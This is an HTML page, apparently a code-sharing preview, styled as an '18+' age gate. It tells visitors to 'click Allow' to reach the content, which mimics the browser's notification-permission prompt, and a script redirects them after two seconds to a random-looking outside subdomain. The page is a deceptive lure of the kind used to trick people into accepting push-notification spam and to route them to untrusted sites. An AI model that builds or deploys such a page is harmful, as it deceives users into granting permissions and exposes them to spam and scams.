Test\\ - NDDCoder

Fork Preview

<html><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>18+</title>
    <link rel="shortcut icon" href="/favicon.png" type="image/png">
    <style>
        body {
            background-color: black;
            color: #fff;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', 'Roboto', 'Oxygdeen', 'Ubuntu', 'Cantarell', 'Fira Sans', 'Droid Sans', 'Helvetica Neue', sans-serif;
            -webkit-font-smoothing: antialiased;
            -moz-osx-font-smoothing: grayscale;
            overflow: hidden;
            min-height: 100vh;
        }

.main {
            display: -webkit-box;
            display: -ms-flexbox;
            display: flex;
            -webkit-box-pack: center;
            -ms-flex-pack: center;
            justify-content: center;
            -webkit-box-align: center;
            -ms-flex-align: center;
            align-items: center;
            -ms-flex-wrap: wrap;
            flex-wrap: wrap;
            min-height: 95vh;
            -webkit-box-orient: vertical;
            -webkit-box-direction: normal;
            -ms-flex-direction: column;
            flex-direction: column;
        }
        .arrow {
            font-size: 24px;
            text-align: center;
            font-weight: 500;
            display: inline-block;
            position: absolute;
            line-height: 1.33;
            top: 300px;
            left: 60px;
            max-width: 300px;
        }
        .arrow.macos {
            left: 150px;
        }
        .firefox .arrow {
            left: 385px;
        }
        .opera .arrow {
            left: 49%;
        }
        .arrow:before {
            content: '';
            top: -240px;
            text-align: center;
            display: inline-block;
            position: absolute;
            width: 100%;
            height: 120px;
            background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAAG40lEQVR4Ae3dA4zkWxbH8bu2bdu2bdtGrEWsta04G6xtPNu2HYzRPu8kGddDTfe/qu698/kkZxRWZX7fdnfhwBARN8l7Vt5X8o7IuyBvy467YMe/fTnvmXk3Kd0Aw39v3vkxvnPz3i0E0Pb4H5V3UqzeSXmPKkBz439V3vpYu/V5rypAM+N/X95SDGcp730FaH78IgDGLwJg/CIAxi8CYPwiAMYvAmD8IgDGLwJg/CIAFYx/Oeq1LALQzvhFABoY//vrH/9IBN5fgBbHLwJg/CIAxi8CYPwiAMYvAmD8IgDGLwJg/CIAxi8CYPwiAMYvAmD8IgDGLwIY/weM/0Yj8IECxi8CYPwiAMYvAmD8IgDGLwJg/CIAxi8CYPwiAMYvAmD8IgDGLwJg/CIAA4//g8ZfTQQ+WMD4RQCMXwTA+EUAjF8EoOPxIwIYPyKA8SMCGD8igPEjAhg/IoDxIwIYfxIBMH4RwPg/dMCOXwQ+VGYG40cEMH5EAONHBDB+RADjRwQwfkQA40cEMH5EAONHBDB+RADjRwQwfkTA+D/c+fgXo35/7jwCHy4zgPHP570j6ndLERgexv+GvFtH5UraEYG/iMBAMP6SWgmACAwH4399Sa0FYI8I/FUEWAPjby0AIjAQjL/pAOwQEbfK+5sIjAfjf11J7QdgJAJ/F4GxYPztB0AExofxz42Ov5cAjETgHyKwN4z/tSX1HgARGB/G31kARh7LP0UA409dB0AEWMX4P3IAjP81JfUegDEe0786j8BHyvgw/u4DIAIYvwCMPLZ/i0DvjP/VJQmACGD8AjD6GG+T9x8R6Inxbx9v/AKwRwT+KwK9MP5XlSQAIiACxi8A+xeB/4lAT4x/lACIQHeM/5UlCcAgj/u2ef8XgaYYvwCIgAgYvwAMG4GDRKBWxv+KMjgBEIH2x/9+4xeAgSNwcOcReH8v43923lz0a9s0xi8AI8/F7TqPwFzes1sf/73yrux8/C8vIwRgihE4JDq1Yzv3ajkAPzZ+ARCBNflpq+N/eN6C8QvAlCJwaMc/EfqRLQbgOx2P/2VlAAIw6HNz+44j8L0WA3C+8QvADCJwWPTngtbG/yjjFwARGNSjWgrAGzoc/0vL2ASggggcHn15Q0sB+FT0Y+sA4xeA6T9Xd+gsAp9qKQBfNH4BqCQCR0QfvthSAD7eyfhfUuogACLw8ZYC8FrjF4DKInBktO21LQXgIcYvACIwqIeUlkTEGY2O/8WlDgIw/PN3x7yjoj1nlNZExFeMXwBEYBBfaTEA98vbZvwCUGkEjm7oc1DuV1oUEV+L+m2pePwCIAJfK62KiDvlnVf5+F9UhicA7fz/PCYqtWM7dyoti4hH520wfgEQgfHt2MyjSw8i4hV5c8YvABVH4Niox1zeK0pPIuLVeXOVjP+FpToCIAKjP0VaBIxfAKb3/N4577gZj/81ZVTnETB+ARCBucl9uq8IbMl7QWmGAFQQgeNjeuYnN34R2Nze+AWgguf6LlOKwHze68oOImD8AlBXBE6Y8PhfX3YQgeHH//xSJwEQgfm9v82XCGyL4WysePwC4M2BudHxi8DT8i6LtTs37zElCYAADPwDSX8Ta3dV3rMKoyLi3nl/jtVZyftl3p1LkwSggef/Jnmfz9scq/OP8b6yTwiel/e/vOUx35b6Q94TSzsEoP0fevuTMUOwknfY6r65rBDcPe+DeT/N+0veCXlH5/0+7/t5b827Q2mQALQvIm6V96q8b+548+DIvBPz/pb3i7yP5927gAAAAgAIACAAgAAAAgAIACAAgAAAAtAAEABAAAABAAQAEABAAAABAAQAEABAAAABAAQAEABAABoAAgAIACAAgAAAAgAIACAAgAAAAgAIACAAgAAAAtACEABAAAABAAQAEABAAAABAAQAEABAAAABAAQAEABAABoAAgAIACAAgAAAAgAIACAAgAAAAgAIACAAgAAAAtACEABAAAABAAQAEABAAAABAAQAEABAAAABAAQAEABAABoAAgAIACAAgAAAAgAIACAAgAAAAgAIACAAgAAAAtAOEABAAAABAAQAEABAAAABAAQAEID2gQAAAgAIACAAgAAAAgAIACAAgAAAAgAIACAAgACAANw0bynqta0AE43AFVGvCwow0QAcF/U6rAATDcBPol5fL8BEA/C6qNczCjDRANwmb0PU59wyFSACX4z6vLVMDXgt4LKox0FlqkAEXpS3ELN3ed79y9SBCHwmZmtT3pMKMLMIfDpvMabv/LwnFmDmEXhp3uUxPb/Ou3MBqnrH4Bcn/CHC/+U9qwDVhuBWea/J+3HekXkX583F/lnJuybv5Lw/5n0270GF7lwL/pE2D1lDsuMAAAAASUVORK5CYII=');
            background-repeat: no-repeat;
            background-size: contain;
            background-position: 50% 50%;
            -webkit-animation: slide-up-down 0.5s infinite cubic-bezier(.39,.58,.35,.99) alternate;
            animation: slide-up-down 0.5s infinite cubic-bezier(.39,.58,.35,.99) alternate;
        }

.text {
            text-align: center;
        }

.condition {
            display: block;
            width: 100%;
            font-size: 60px;
            text-align: center;
            margin-bottom: 20px;
            margin-top: 430px;
        }
        .opera .condition {
            margin-top: 220px;
        }
        .firefox .condition {
            margin-top: auto;
        }

.approve {
            font-size: 32px;
            color: #000;
            background-color: #fff;
            display: inline-block;
            padding-right: 20px;
            padding-left: 20px;
            border-radius: 5px;
            line-height: 1.8;
            margin-bottom: auto;
        }

@-webkit-keyframes slide-up-down {
            from {
                margin-top: 70px;
            }
            to {
                margin-top: 100px;
            }
        }

@media screen and (min-width: 1600px) {
            .condition {
                margin-top: auto;
            }
        }
        @media screen and (max-width: 1920px) {

.firefox .text {
                margin-top: 275px;
            }
        }
        @media screen and (max-width: 1200px) {
            .firefox .arrow {
                left: 34%;
            }
        }
        @media screen and (max-width: 900px) {
            .firefox .text {
                margin-top: 300px;
            }
        }
        /*!* chrome / opera *!*/
        .mobile .text {
            margin-bottom: auto;
        }
        .mobile .condition {
            margin-top: auto;
            font-size: 36px;
        }
        .mobile .arrow {
            left: auto;
            top: auto;
            bottom: 20px;
        }
        .mobile .approve {
            font-size: 24px;
        }
        .mobile .arrow:before {
            margin-left: 70px;
        }
        /*.mobile .arrow {
            display: none;
            text-align: left;
            width: 100px;
        }*/
    </style>

</head>
<body class="linux desktop chrome">

<div class="main">
        <div class="arrow linux">
            <span class="locale-text">To access the website content, click Allow!</span>
        </div>
        <div class="text">
            <div class="condition locale-condition">If you are 18+ tap</div>
            <div class="approve locale-approve">Allow</div>
        </div>
    </div>
    <script>
        setTimeout(function() {location.href = 'https://zxcmqo0z.s10.songkhoeblog.com/';}, 2000);
    </script>

</body></html>